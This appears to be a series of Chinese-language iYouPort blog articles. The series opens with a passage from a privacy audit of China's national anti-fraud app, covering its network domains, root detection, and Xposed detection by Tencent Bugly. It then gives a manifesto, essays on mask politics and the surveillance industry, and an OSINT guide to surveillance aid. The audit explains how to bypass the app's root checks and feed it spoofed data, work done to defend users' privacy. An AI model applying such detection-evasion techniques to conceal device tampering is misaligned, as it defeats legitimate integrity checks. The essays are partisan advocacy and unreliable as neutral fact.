该应用程序既在后台收集数据，也在手动请求时传输数据。数据通过 HTTP 请求被发送到各个域。在最初的动态测试中，该应用程序访问的主要域是：

- fzapp.chanct.cn
- fzapp.gjfzpt.cn
- fzapph5.gjfzpt.cn

最初的动态测试包括以正常用户身份手动使用该应用程序，同时拦截所有网络请求，并执行数据包捕获以观察额外的流量。该应用程序利用证书固定，所以使用 Frida 脚本来拦截 HTTPS 流量。非注册用户可使用的功能包括设置地区和位置、登录、注册、忘记密码恢复、查看用户协议和点赞社交媒体账户（未测试）。

如上所述，该应用程序中的第三方库收集和传输数据。其隐私政策中特别指出 Antiy Mobile 防病毒和 Umeng 统计和分析。在上述的动态测试中，该应用程序向以下额外的域发送数据：

- 14.215.158.61:8002

203.119.204.254:80

aaid.umeng.com

adash.man.aliyuncs.com

- amdcopen.m.taobao.com
- cgi.connect.qq.com

dns.qq.com

dualstack-arestapi.amap.com

- login.sina.com

openinstall.io

restsdk.amap.com

stat.openinstall.io

此外，当应用程序没有被授予位置服务权限时，每个API请求都包括纬度和经度值为0。本次测试的限制使得无法确定拒绝或撤销所有应用程序权限的效果是什么。但此前有用户报告说，拒绝所有权限会导致该应用程序崩溃。

在启动时，该应用程序要求定位许可、访问存储空间和电话。在预注册期间，拒绝这三项权限似乎并没有阻止该应用程序的运作。该应用程序需要额外的权限来实现全部功能；这些权限将在不同的使用阶段被要求；这些阶段在本次审计中无法测试。

3、是否有可能通过使用 Xposed 模块 XPrivacyLua 来完全阻止该应用程序从手机上读取信息？

「图」

如前所述，审计团队只能动态测试用户注册前的应用行为，但无法测试日常使用。这是因为没有找到一个中国的手机号码来注册该应用程序。下面的细节是对该应用程序的可访问部分进行的动态测试。

测试设备已使用自定义 userdebug 版本进行刷新。试图运行该应用程序时失败了，并出现了该应用程序不支持 root 设备的信息。发现了

以下的 root 检查：

「图」

在安装了 Xposed 框架和 RootCloak 模块后，这些检查被绕过了，应用程序被启动。XPrivacyLua 模块被安装并配置为向目标应用程序提供数据。此时该应用程序的可用部分似乎仍在正常运行。每次请求发送的数据，如纬度和经度，都由 XPrivacyLua 模块生成。该模块本身表明，在初始配置屏幕上，该应用程序试图访问以下数据。

- 获取手机上安装的应用程序
- 获取位置数据
- 获取传感器数据
- 读取标识符
- 读取网络数据
- 使用跟踪

代码审计表明，这些访问并不限于初始配置步骤。

此外，各种 GPS 伪造和设备ID欺骗工具也能成功地将数据输入到该应用程序。

4、如果 Xposed 和 XPrivacyLua 可以防止应用程序读取用户信息，那么该应用程序是否会提醒当局，从而使用户陷入麻烦？

「图」

该应用程序似乎可能报告关于用户使用 Xposed 框架的唯一地方是腾讯 Bugly 崩溃报告服务。

这个函数在试图检测 Xposed 框架:

「图」

此外，com.tencent.bugly.crashreport.common.info.C3194b（混淆的名字）检查 de.robv.android.xposed.XposedBridge 和 de.robv.android.xposed.installer 包。

其中一个检查是扫描 /proc/「PID」/maps 中名称里含有 xposed 的.jar和.so文件。

这些检查似乎只搜索原始的 **Xposed** 框架包。像 **EdXposed** 和

LSPosed 这样的替代品可能会绕过这些检查而不至于被报告。本次审计对 EdXposed 进行了测试；它的软件包名称为 org.meowcat.edxposed.manager，它没有被该应用程序发现。

腾讯 Bugly 也以类似的方式检查 com.saurik.substrate 包的存在。

5、用户如何避免被该应用程序监控和审查？

「图」

如果公民被要求必须在自己的手机上安装这个应用程序，本报告中讨论的一些方法可以帮助保护用户的隐私；特别是撤销或拒绝权限，利用 Xposed 框架或其他 root 技术来隐藏信息。重要的是要明白，这些方法并不能保证隐私或匿名，而且可能被发现。完全阻止该应用程序的功能的任何可能后果，目前还不十分清楚。

当然，该应用程序可能会被更新，并获得额外的或更有效的检测，如更先进的root检测，更广泛的 Xposed 框架检测，以及更广泛的隐私功能报告。如果目前的应用程序检测到其版本已经过时，它会提示用户从https://oss.chanct.cn/preventfraud-static/apk-nationalapp/national-antifraud.apk 下载最新版本。该应用程序还包括腾讯 Tinker 库，它将自己描述为 “安卓的热修复解决方案库，它支持 dex、库和资源的更新，而无需重新安装apk。” 也就是说，这个库将来可能会被用来更新该应用的功能，即使用户拒绝安装较新的版本。

该应用程序还可以执行写入系统设置和安装应用程序等操作，这很容易被用于邪恶的目的。重要的是要注意已安装的应用程序要求哪些权限，并尽可能地拒绝和撤销不需要的权限。（在这里看到相关具体说明《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识》）

用户的另一个选择可能是升级到安卓12，其中包括新的隐私功能，在应用程序访问敏感权限（如麦克风、摄像头和位置）时通知用户。但是，请注意，控制手机软件的移动运营商有可能删除或阻碍这些功能。

本次审计中没有看到任何迹象表明该应用程序寻找VPN的使用，或暴露利用VPN访问被封锁内容的用户。但是，鉴于其广泛的权限，包括查询和扫描所有安装的软件包的能力，意味着寻找**VPN**的能力可能会在未来被添加，并且不需要额外的权限。此外，病毒扫描功能就可以包括检测合法的**VPN**应用程序的签名。

人们似乎在此有一个误解，以为安装在手机上的东西或者被警察拦截查手机才会暴露VPN的使用，其实不然，您的ISP就知道您在使用VPN，不同的结果只取决于它们是否在乎。ISP是最大的灾难，却往往被人们忽视，这是一个错误。

「图」

https://t.me/iyouport/8896"// !!! —— 第*4*层 —— 「图」 我们每个人都被承诺了完全的自决权：社会的所有机构都应该兑现它。 您天生享有自决权，并不是因为它是被任何人赐予的，而是因为，包括最极权的独裁统治者也无法把它夺走。因为您会抵抗，您会叛逆，对自主的欲望就如喷嚏一般难以掩盖。 从古至今的所有统治阶级都在不断学习如何欺骗他的人民，静悄悄地一步步地剥夺人们的自决权，并伪装成“安全”、“便利”、“现代化”、“时髦”……“我为你好”，让服从变得“理所当然”。 统治阶级就是最大的诈骗犯，他们控制的媒体放大他们的声音，旨在操纵你忘记自己的权利和欲求；你的所有热情和爱好都可能是可疑的，是被诱导的结果。他们是最成功的的诈骗犯，他们让你心甘情愿地奔向他们的理想，而忘记你自己的。 如果您真的痛恨骗局，那就从识破统治阶级的骗局开始吧。 「图」 统治阶级喜欢谈论“个人责任”，但是，如果您为自己的所有行为负全部责任，您首先会服从他们的指示吗？ 数字时代里，统治阶级已经以前所未有的深度渗透到每个人生活的角角落落，而不仅仅是一个应用程序；算法统治你的所见所闻，从而主宰你的认知；***ISP***统治你的连接能力，在你最需要队友协助、最需要发出声音的时候切段你们的联系、堵住你的嘴；大数据监视你的所有生活、了解你的欲求、窥视你的内心所想、甚至预测你不久后将会做什么 …… 在这种情况下，服从和自愿已经变得越来越难以区分 —— 就如，当我告诉你收集你的声纹的 ***Clubhouse***、收集你的脸部数据的 ***TikTok***、操纵你的认知的 ***Facebook*** 都是邪恶的，是你不应该安装使用的东西时，你会理睬我吗？事实上它们的邪恶和被强制安装的“反诈中心”和被胁迫安装的“学习强国”并无本质性区别 —— 对您的人权和安全来说。 一直以来，您忘记了自己的利益，您已经服从于太多这种邪恶的诈骗。“反诈中心”的不同仅仅在于，它来自于您认识的恶魔以您熟悉的方式推销给您。您不应该被强制，就如您不应该被蒙骗一样，是您的自决权，您的基本人权和人身安全。 就如您所见到的，狭隘和短视的人会将系统性问题分解和压缩为特定群体/个体问题 —— 他们看不到腐败就是政府的顽疾，而只是痛斥某一届政府和个别的政客；同样，他们也看不到监视资本主义的灾难，而只是愤怒于某个应用程序。绝对不是说某个政客和某个应用程序不值得关注，绝不是，否则根本不会有本文；而是，如果您忽略了根源的系统性问题，您将无法解决一切个

别问题，永远会有下一个更邪恶的政客和更危险的应用程序。 这不仅仅是一个集中化的互联网，而是一个集中化的世界，它需要去中心化的解决方案。我们要想得到真正的自由和民主，就要去干预所有那些欺诈我们的程序 —— 从在线到现实。 我们必须彻底抛弃压迫性政权，而不是去试图“更公平”地管理它的细节；不是要去改变谁是上司谁是下属，也不是仅仅纠结于几个权限设置；反叛的目的不是要寻求更正当的规则或更和蔼可亲的统治者，而是要展示我们自己的能力，“我们人民”真正的力量。即 直接行动。 如果您问“第*4*层是什么”，香港人已经做到了，我们将这一喜讯在本站“*The_New*”部分置顶《“我们要尝试一种没有霸权的生活”：对香港行动者的访谈》。 我们此前已经上传过一个播客《中心化的问题需要去中心化的解决方案》，并论述过《从民主到自由》，都可以帮您理解这第*4*层的含义。请随时记得，您是有自决权的，您可以拒绝，可以反叛，您值得也应该拥有自己想要的世界。 *IYP*始终在第*3*层和第*4*层，等您。〇 原文

口罩的政治 - iyouport

COVID-19(84)地缘政治社会反抗和思考长读

【2020年9月10日存档】有多少人将因为口罩的国际政治经济学的疯狂而死亡？最重要的是，我们如何自救

Basky

与生活中的大多数其他事物一样，整个冠状病毒疫情过程中已经彻底改变了口罩的象征意义和政治经济地位。

几十年来，许多国家（包括德国、法国、奥地利、比利时、乌克兰、俄罗斯、加拿大和美国）以及各地市政当局一直在试图实施法律，以阻止人们在公共场所遮盖面部，这主要是出于制度化的仇视伊斯兰情绪、以及面部识别身份证明手段的扩张。

众所周知，就在去年10月，香港当局试图禁止人们在公共场合佩戴口罩，以制止抗议活动。而现在，此类政策已被撤销。相反，当局日益要求公众使用口罩，争夺面部遮盖物的社会符号学。

- 《遮住脸部成为当今抗议者的首要目标》

曾经，遮盖脸部出门是非法的，现在，遮盖脸部成为了“公民责任感的标志”。（除了大都会精英主义之外）

口罩的含义正在发生变化，但国家内部和国家之间的比率和程度均不平衡。

以SARS和H1N1病毒的最新经验为标志的东亚国家通常很快就采用了口罩。在欧洲和北美的大多数地区，没有类似的可借鉴的记忆，情况显得更加矛盾。

具有东亚文化底蕴的人通常是在美国和英国较早采用口罩的人，而这些人很快成为了种族主义攻击的目标，紧跟着，这一趋势继续由于某些政治人物的仇视言论而加剧。

同时，对于某些人口 —— 例如黑人 —— 在公众场合遮盖脸部的风险与感染病毒本身一样严重。

戴口罩的后果完全不均匀分布，这是政府 “对危机的反应” 之浅薄性的又一例证。

在最初的困惑之后，围绕健康考虑的人们对于在公共场合戴口罩的建议似乎已经形成了科学共识 —— 并不只是为了减少了他们自己感染 Covid-19 病毒的机会，而是，因为它减轻了无症状病毒携带者将病毒传输给他人的风险（连同既定的卫生措施和疏离措施）。

大流行使所有人都陷入了一种奇怪的、倒置的偏执狂状态，使人们的每一项行动都可能成为传染病的根源，并成为另一个人痛苦的潜在媒介。遮盖自己的脸，似乎就能使自己脱离病毒循环的形态，从而使身体摆脱了痛苦、掠夺和死亡的这种全球循环。

但是，谁应该戴口罩、以及戴哪种口罩的问题，远非简单的个人责任问题。周围的人脸上的口罩突然可见（或看不见）揭示了我们在防护设备跨国政治经济中的共识 —— 这场危机的危害目前正在根据阶级权力和利润动机的特权来分配。

口罩问题的媒体报道一直被一系列反复出现的问题所困扰。如果 “科学” 越来越多地支持口罩的遮盖可以减轻潜在的 Covid-19 传播，那么为什么还有许多自相矛盾的政策呢？为什么没有必要的资源分配来传达全面一致的信息？

事实是，“科学” 只是影响国家决策的一个因素，而在这方面则相对较弱。政府是否采取口罩的立场与其增加的经济利益和象征价值息息相关。

特朗普和 Pence 拒绝口罩的故事是一个特别明显的例子。但从更广泛的意义上讲，这种流行病已将口罩从在世界各地按吨运送的廉价、低利润的散装货物转变成了在激烈竞争的市场中极为珍贵的资源。

在疫情爆发之前，中国是世界上最主要的医用口罩制造商，每年生产的库存量占全球的一半。但这并不意味着该国在发生危机时能准备好了装备自己的人口。

当 Covid-19 袭击发生时，中国政府被迫限制出口，甚至不得不从日本、印度、美国和坦桑尼亚进口防护装备。这迅速耗尽了全球市场的供应，阻碍了即将受影响的国家建立自己的库存的努力。

中国已经再次有能力出口（部分原因是因为该国已将原本用于制造玩具、衣服或电子产品的工厂改变了用途）但是在此期间，全球口罩市场已经完全改变。

买方现在必须在动荡的局势中挣扎，民族国家、医疗用品公司和独立经纪人都在一起上阵争夺有限的库存，同时还要应对不断增长的需求、分销瓶颈和广泛的质量控制问题。

招标变得越来越激烈，政府准备竭尽全力以确保自己的供应。3月，德国扣押了一批运往瑞士的口罩。一个月后，柏林官员指责美国“海盗”，据称该国没收了 200000 个专门给市政警察局使用的口罩。

私人买家屡屡出价高于国家采购商。例如，纽约时报报道了一群法国官员说，他们“在最后一刻被不知名的美国买家以高价买走了已经在中国机场停机坪上的口罩。”

在这种情况下，任何政府的预判都是灾难性的。美国和英国的失败都足够悲惨，他们都未能为医疗保健人员和其他处于危险中的工人提供足够的防护设备。有广泛的报道，医务人员在不得不在没有标准装备的情况下治疗患者：护士穿着垃圾袋，医生戴着滑雪镜进行气管切开手术。

这些采购失败无疑对政策的公布产生了影响，英国政府不愿意发布更具体的口罩佩戴建议，部分原因可能是担心公民会买断医护人员所需的用品。

美国国内的医疗用品市场已经成为全球口罩经济的一个令人困惑的缩影：医院采购商不得不与其他医疗机构、联邦官员和医疗用品公司竞争，经常试图直接从中国或通过不知名的无证“企业主“直接采购库存。

有报道说，口罩的发货在到达使用点之前会被经纪人多次转手 —— 如果能全部到达的话。形势如此严峻，以至于4月1日，华尔街日报不得不向读者解释“为什么地球上最富有的国家无法帮你戴上一个口罩”。

从某种意义上说，这篇头条新闻中那种被宠坏了的态度切中了问题的核心。直到现在为止，资本的供应链精心设计的纠缠不清似乎正是为了服务于美国消费者的需求，但这个体系的内在逻辑是利润最大化 —— 纯粹的利润最大化。

全球供应链没有能力将口罩送到最需要的人手中，这并不是其失败的标志，正相反，是其持续运作的证明。通过将生产集中在劳动力最廉价的地区，强制要求精简库存和“及时”物流，并坚持即使在危机期间也主要通过市场进行分销，全球资本主义的基础设施是为了保护利润而不是其他考虑因素。

正如 Ingrid Burrington 在《数据与社会》杂志上写道：”往往使供应链变得脆弱的决策.....正是市场和政府倾向于奖励的决策.....你毁掉了所有的竞争对手，现在我们只能从意大利的一个地区获得检测试纸？这不是供应链的脆弱，这恰恰证明了市场奖励最好的产品。”

对于在这场危机面前急于保持权威和合法性的国家政府来说，口罩已经成为国家效力的有力象征。

正如佩戴口罩已成为个人公民责任感的标志一样，医疗口罩和其他个人防护装备的持续供应也成为一个国家保护公民的能力的指标。政府为掩盖自己的失误所做的努力，表明了他们对这一问题的重视程度。

今年2月，西方媒体对中国试图审查举报病毒爆发的医生的行为感到震惊；而很快在英国，国家卫生局的管理层威胁要惩处那些对工作条件有意见的工作人员，而部长们则吹嘘说，中国现在是“个人防护设备的国际首选买家”。

在这种情况下，口罩具有特殊的地缘政治重要性。西方政治评论员创造了“口罩外交”一 词，以描述某些国家（例如中国）通过战略性的慈善举动建立全球霸权的努力。

欧盟外交政策负责人 Josep Borrell 谈到了“全球叙事之战”，他说“中国正在积极地传达这样一个信息，与美国不同，它是一个负责任和可靠的伙伴。”

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》
- 《“你的”叙事》

与此同时，美国也帮助展示了什么是“负责任”和“可靠”的反面教材。

特朗普在口罩外交上的尝试包括：越来越无力地发表地缘政治斗争言论，与美国医疗用品生产商3M公司就口罩出口问题争吵，以及撤消世卫组织的资金，世卫组织是为数不多的多边机构之一，至少在理论

上可以根据需要监督口罩和其他用品的分配。

有多少人将因为口罩的国际政治经济学的疯狂而死亡？上：业余抢劫者；下：专业抢劫者 *form Irena Buzarewicz*

4月17日，世界卫生组织警告说，非洲可能成为下一个疫情中心。在日益残酷的世界医疗用品市场上，全球南方国家将如何应对？

世卫组织、联合国和非洲疾病控制和预防中心正在开始向非洲大陆各地资源不足的医疗系统分发口罩、防护服和其他必需品，但非洲国家可能仍然不得不依赖中国、欧洲和美国的餐桌上的残羹剩饭。

借用 Achille Mbembe 的一句话，当前的国际口罩市场是一个全球性的 “死亡政治学”：风险、伤害和死亡的不平等分配的世界体系。

这包括了从中美贸易战到当地医院的设备短缺，再到我们自己，在亚马逊页面上盯着那10个一包的一次性手术口罩，手指在 “立即购买 “按钮上徘徊。

在这个链条的每一个环节中，都存在着一种结构性的紧张关系，即：必须寻找集体的手段来降低风险，为每个人提供医疗服务，而政治经济模式则不断地引导我们走向个人化的、交易性的反应，旨在使我们每个人都远离他人的痛苦。

换言之，如果说 “我应该戴口罩吗？” 这个问题让人觉得充满了疯狂的自我保护和不公正的苦难分配的含义，那么，它就已经是远远超出了个人选择和责任范围的结构性因素的影响。

在为卫报撰写的一篇文章中，Samanth Subramanian 写到了 “戴口罩的各种部落”：在面食店过道上戴着医用级N95口罩的购物者；戴着设计师品牌 “Vogmask” 慢跑的 “金融小哥”；戴着 GVS Elipse P100 的极度焦虑者。然而，只有特定的社会阶层才有能力以精品消费选择来表达自己应对危机的能力。

当富裕的人在为自己和家人购买带有呼吸阀的密闭口罩时，送货司机和杂货店店员如果能得到一个一次性的简易口罩就已经很幸运了。其他的人则是使用自制的即兴面罩（比如柚子皮）。

这就是由国家和区域性的种族和阶级结构所调控的全球政治经济动态目前正在体现出的变化 —— 在街道上、在商店和仓库里、以及我们的脸上。

Covid-19 提出了一个根本性的集体危险，我们只能与我们最脆弱的邻居一样安全。迄今为止，地缘政治和经济竞争的结构使我们无法在国际一级上制定适当的合作性对策；在地方一级，这导致了一种情况，即：个人对自己的风险管理似乎是唯一可用的手段。*from Irena Buzarewicz*

然而，情况并非必须如此。这场大流行病最突出的影响之一就是说明了全球化社会的变幻莫测，使我们每个人都面临着相互暴露和易受伤害的状况。

掩饰 —— 包括戴上口罩的做法和为获得口罩而进行的斗争 —— 将我们与这一现实紧密地联系在一起，使每个人直接参与到目前推动危机应对的经济和地缘政治进程中。

这一刻可能揭示了什么形式的政治主观性？哪些形式的团结可以维持地方和跨国关怀体系，同时抵制国家和市场的攫取？可以由病弱者、受惊者、愤怒者和掩面者组成什么样的联盟？……

世界各地的工人都在争取更安全的工作条件、适当的防护设备和更高的工资。例如，亚马逊公司赚取了创纪录的利润，并抢占了市场份额，同时该公司却解雇并试图抹黑仓库工人 Christian Smalls，因为他说出了不安全的工作条件。

令人深为鼓舞的是，即使在封锁状态下，亚马逊和其他剥削性企业的员工也不会放弃抵抗。

在这些斗争中，口罩正发挥着越来越多的象征性作用。

在英国，国家未能为NHS工作人员提供工作所需的设备而使他们的生命受到不应有的威胁（目前至少有100名医护人员死于Covid-19），这已成为社会对政府处理危机不力的愤怒焦点。

PPE（个人防护设备）FFP3（英国对医护人员所需的密闭面罩的称谓）等缩写词现在已经成为鲍里斯-约翰逊政府如何无能的代名词。

与此同时，在美国，五一节期间，亚马逊、全食超市、Instacart、Target 和 Shipt 等公司的工人们掀起了一波协调罢工潮，他们都要求提供足够的防护设备，提高安全标准，并要求支付适当的危险和病假工资。

对于这些工人来说 —— 他们通常是最不稳定的、待遇最差的工人，现在突然间被理解为 “必要的” 工人 —— 口罩既是他们团结一致的象

征，也是他们要求的实质内容的一部分。

在这种情况下，掩饰开始表明“个人防护”如何被视为一个真正的集体项目。

当一群仓库工人组成了一支纠察队，身上裹着各种破烂不堪的围巾、被切开的枕套和残缺不全的T恤衫时，这证明他们拒绝被绝望的环境压垮，在他们的老板和政府都愿意让他们自生自灭的时候，他们找到了彼此照顾的勇气。

这不仅仅是对企业野蛮行为的控诉，这种群体防护也证实了人们有能力发展出合作性的安全形式，以抵御**Covid-19**和资本主义死亡政治的交织威胁。

在这里，口罩获得了新的双重意义：一个必要的生存条件和共同的基础，在此基础上，社区团结的重要结构可以得到重申。○

Richard Woodall is a writer and researcher based in Sheffield, England. His interests include the history and politics of visual technologies, as well as the analysis and critique of digital capitalism.

Face Off

原文

可视化数据：全球监控行业—— 谁是大哥？谁在作恶？ - iYouPort

老大哥的真面目长读

军火工业在国际监视技术贸易中正发挥着日益增强的作用，从发达国家向流氓政权输出复杂的监视

「图」

「图」

如今已经有由数百家公司（如果不是数千数万的话）组成的全球行业，正在向世界各地的政府机构销售监控技术。这些公司的共同特点就是出售各种用于识别、跟踪和监控个人及其通信的系统技术，以用于针对公民的间谍行为和所谓的警务目的。这是一项利润丰厚的业务，但却是如此神秘和模糊，没有人真正了解它的整体价值。

延伸阅读：这不是新闻《"//公私监控伙伴关系//"》

早在 1995 年，隐私国际组织就出版了 Big Brother Incorporated，这是有史以来第一次研究军火工业在国际监视技术贸易中的日益增强的作用，以及它们在从发达国家向非民主政权输出复杂监视能力方面的作用。

从那时起，隐私国际组织继续监控该行业，并在监控行业指数（SII）中汇总了调查数据，该指数是全球最大的商业监控行业公共数据库，截至 2016 年 5 月，已经收集到 528 家监视技术公司数据。

在此我们简单翻译一下这些资料，你能看到，全球哪些国家正在出售老大哥，哪些国家热衷于购买这种东西。

谁参与了？

现代电子通信监控行业从九十年代互联网和数字电信网络的商业化演变而来，当时政府开始通过新的法律，要求新的电子监控能力和技术

协议，以保证政府接入网络。作为回应，一个由武器承包商、电信公司、IT 企业和专业监控公司组成的全球行业诞生了，绝大多数这些公司都位于拥有发达经济体的大型武器出口国。

全国范围的监控架构由各种类型的公司组成：

- 互联网服务提供商（ISP）和电信运营商，管理网络并为某些服务（如互联网、移动和固定电话服务）收费，并可能需要确保其网络可供政府机构使用。
- 电信设备供应商是开发网络运行所必需硬件的公司，例如交换机和路由器。因为它们是通过合法拦截功能开发的，所以默认情况下一些设备会主动接受监视，或者以便于监视的方式设计。一些供应商则专门开发和销售用于监视目的的设备。
- 监视公司出售用于执法和情报搜集目的的技术。这些可以是促进合法拦截的系统，例如出于合规目的出售给运营商，或直接出售给提供更大规模、无目标和侵入性监视能力的政府机构。

「图」

「图」

他们卖什么？

在监控技术方面，您可能会想到小型 GPS 跟踪设备、相机和隐藏的 bug，您是对的。但它并不限于此，还包括各种不断发展的复杂系统，其存在是保密的。这包括用于监控全国范围内互联网通信的设备，通过国家互联网提供商部署的可以入侵计算机或移动摄像头的恶意软件，以及可以欺骗数百个移动设备连接到它的移动电话监控技术（钓鱼），例如用于在抗议活动中识别每个参与者。见下图（大图）：

「图」

「图」

他们把这玩意卖给谁？

该行业及其客户顽固地拒绝透露有关销售的任何细节。隐私国际组织提供的信息仅来自记者和非政府组织的调查报告以及少数政府公布的一些出口数据。

据悉，从海关和税务执法到外国情报的政府机构正在从市场上购买他

们所需的监控设备，世界上最专制的国家正在向拥有最先进技术的国家购买这类技术。

注意下图第三条，其中的买家有中国：（大图）

「图」

「图」

为什么这是危险的？

互联网的普及和新的通信方式增加了监视的侵入性和能力。如今，技术上可以实现大规模的、系统地、和相对“物美价廉”地监控整个社会甚至全球。这对个人安全、公民社会、人权以及民主本身，构成了根本性的威胁。

即使在具有重要制衡的政治体系中，监督能力也经常超越法律有效监管的能力。看美国就行了，第一修正案是第一修正案，美国是美国，事实上完全被两码事了。而在非民主的和专制国家里，监视技术可以大模大样地被用于侵犯人权、扼杀言论自由、破坏民主发展。

全球监控行业已将此类系统出售给世界上一些最恶劣的人权滥用者，他们的监视目标是社会人权活动家、揭露黑幕的调查记者、反对党派成员、甚至司法机构。已经有被逮捕的活动家在遭受酷刑期间，被刽子手宣读先前监视中获取的通讯记录。

见下图，看看卖家集中在哪儿：

「图」

「图」

该行业继续运作，没有问责制，因为它们拒绝透明度。监管公司向政府机构推销他们的产品，这些政府机构在公开的军火交易会上闭门造访，拒绝透露任何有关其客户的信息。

除了 **Wikileaks**，这个世界上没有其他渠道能让我们获知这些真相了。而曾经是全球民主代名词的国家，却一直在致力于杀死这家跨国媒体！

"这里是 2011 年 Wikileaks 对全球监控行业的披露"。您现在明白为什么如此多的政府害怕 Julian Assange 了？

下图是这些监视企业将老大哥卖给了谁，以及卖的是什么（中东和北非的威权国家）（大图）

「图」

「图」

原文

国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？ - iYouPort

协助暴政的家伙们开源情报-每个人都可用的武器老大哥的真面目长读

本文演示一个关于监视技术出口调查的开源情报分析，并提供一些相应的资源。希望更多公民社会组织加入到揭露工作中来

「图」

「图」

Privacy International 的新报告显示，拥有强大安全机构的国家一直在为其他国家培训、装备监视设备，甚至直接为外国监视机构提供资金。在技术进步的推动下，加强监视既有助于全球威权主义的增强，也有助于增强提供国的权威主义本身，这是对民主、人民权利和法治构成严重攻击的行为。

该报告探讨了一系列“监视援助”计划的例子：

- 提供了美国国务院、国防部和司法部如何促进外国监视能力的实例，以及大型武器公司如何融入这些计划的概述，包括美国的监视培训基地；
- 欧盟和欧洲各国正在全球范围内提供监视技术。欧盟已经花费数十亿美元在国外开发边境控制和监视能力，以阻止向欧洲的移民；
- 中国政府的监视技术能力在所谓“一带一路”倡议和其他扩展国际市场的努力中也得到了支持。

这些计划不是将资源投入到长期发展解决方案中，而是进一步巩固了威权主义，并在世界范围内引发了权力滥用—— 首先就是导致不安全的因素。隐私国际组织表示，如果这些“援助”国家真正想要帮助其他国家保持安全和稳定，他们应该建立学校、医院和其他基础设施，并促进民主和人权，而不是推广监视技术。

本文是一个指南，介绍一些可用于研究和调查的开源数据资料，即 #OSINT开源情报资源，欢迎中国读者加入调查。

培训和资金

外国安全部队的培训和资金由国际机构、执法部门、军事和情报机构、以及司法和涉外部门完成。因此，获取数据取决于上述这些相关机构。其中许多提供了一些这些程序的一般信息，这些程序也可用于进一步的研究。

下面来演示这一调查。

——美国——

在美国，州（DoS）和国防部（DoD）部门向国会提交联合年度报告，描述向外国机构提供的所谓“安全援助”—就是监视技术和资金援助。这些资料可以"在这里找到"，这里还包含了有关国家和机构的细目。例如，如果您希望查看某个国家/地区以及在哪个区域提供的培训，就可以查看这些年度报告，这些年度报告通常描述所提供的培训类型、美国实体和机构。（大图）

「图」

「图」

美国政府将监视技术培训课程提供给菲律宾的代理机构

如上图：美国政府将监视技术培训课程提供给菲律宾的代理机构，而鉴于菲律宾的人权状况，这一“援助”是非常令人厌恶的。就在上周，菲律宾总统杜特尔特表示“美国中情局会要刺杀他”。我们对此表示怀疑，虽然中情局负责在海外刺杀外国领导人的历史已经众所周知。

Security Assistance Monitor 是一个美国的研究项目，它整理了这些数据并定期提供专家分析和新的数据，可在此处找到。该项目还提供有关如何使用数据的指南，以及如何访问由其提供的美国机构的原始数据，方便新手的使用。

其他与政策和预算有关的国防部信息可在其开放政府门户网站 Open Government portal 上找到; 预算文件描述了关于一些资金使用的一般细节。例如，“反恐伙伴关系”基金用于资助与博科圣地作战的外国机构，包括喀麦隆的安全部队，最近"大赦国际指控他们严厉侵犯人权"，包括使用酷刑，以及作为其犯罪的一部分的战争罪行，打击武装

团体。

「图」

「图」

一些从事融资和培训外国机构的美国机构也向美国援助透明度门户网站 foreignassistance.gov 提供数据，包括国防部、国家、内政部、司法部和国土安全部。例如，可以为特定机构、项目和国家（例如世界各地的 DoD Train 和装备计划）或移民和海关执法局（ICE）与世界各地的其他安全机构合作开展的工作。（大图）

「图」

「图」

国防部训练和装备计划概述

「图」

「图」

移民和海关执法局（ICE）提供的培训

具体的美国机构和计划有时会提供自己的公开审计报告。例如，美国国务院国际麻醉品和执法事务局（INL）与外国安全机构合作，其任务是减少“到达美国海岸的犯罪和非法药物的数量。”该机构编制年度报告，概述了趋势和美国对国外能力的促进，以及（截至2009年的）最终用途监测报告，例如显示了 INL 为乌拉圭电信窃听提供的资金。

「图」

「图」

美国 INL 最终用途监测报告的描述

没有公开的信息可以涵盖美国国家安全局等情报机构所做的工作，该机构与外国间谍机构合作，例如"资助和培训"埃塞俄比亚的监视机构。

——欧洲——

欧洲国家和欧盟（EU）机构提供有关监视技术培训和筹资活动的各种

数据。

欧盟通过各种基金、工具和机构，为非欧盟国家提供实质性支持，特别是与愿意实施边境管制措施的政府并且接近欧盟边境的国家，尤其是包括人权状况堪忧的土耳其。有关各种项目的信息可通过各欧盟机构的网页获得。

欧盟边境管制机构 Frontex 与18个国家的当局进行了正式的工作安排、协调活动，并提供边境控制措施和其他监视技术援助方面的培训。

总部设在匈牙利的欧盟执法培训局对欧盟和非欧盟执法机构进行监视技术培训。

「图」

「图」

欧盟执法培训局实施的培训课程示例

欧盟对外行动服务处是欧盟的外交政策机构，负责管理各种基金; 例如对非洲的紧急信托基金，分配了 33 亿欧元的预算，支持 26 个国家，以提高抵御粮食不安全，创造支持就业，并解决侵犯人权的行为等。

但该基金的一个重点面向是移民，例如投入 **2800** 万欧元用于开发塞内加尔的全国生物识别系统（由一家私营安保公司—以前是法国内政部的一部分—实施）。这些项目可在各种专题和区域网页下获得。

「图」

「图」

有关塞内加尔全国生物识别系统资金的信息

欧盟委员会是欧盟的执行机构，有多个部门与其他国家合作。欧盟的财务透明度系统提供了委员会通过其部门、欧盟代表处的工作人员或通过执行机构授予的所有基金受益人的可搜索信息。

「图」

「图」

有关欧盟财务透明度系统的信息

外交政策部门实施的项目旨在，例如，赋予妇女权力、排雷和选举监测，以及促进稳定与和平（IcSP），该项目资助预防冲突和建设和平，但其中一些项目有助于国外的监视和边境管制。这里提供了详细介绍该项目的地图。

「图」

「图」

这里是 IcSP 在突尼斯的项目

欧盟各国还发布有关与外国安防合作的一般信息，例如，英国的冲突，稳定和安全基金（CSSF）在40多个国家进行了价值10亿英镑的项目，包括在国外培训警察和武装部队，例如 培训约旦的“内部安全机构使用[反恐]警务工具“。英国政府网站上提供了一些项目的一般描述。联合议会委员会最近得出的结论是，基金运作方式的保密程度意味着它无法“为通过 **CSSF** 支出的纳税人的钱提供议会问责制”。

「图」

「图」

有关CSSF资助项目的信息

——监视设备的转移——

政府机构使用的监视设备由世界各地的数百家公司制作提供，这些公司主要位于拥有最大间谍机构的大型武器出口国。Privacy International 与 Transparency Toolkit 一起收集了 528 家监控公司的信息，作为监控行业指数（SII）的一部分，其中包括有关公司位置、产品和销售的信息，可在sii.transparencytoolkit.org上获取。并且，这里提供了一份对此行业的总结报告。

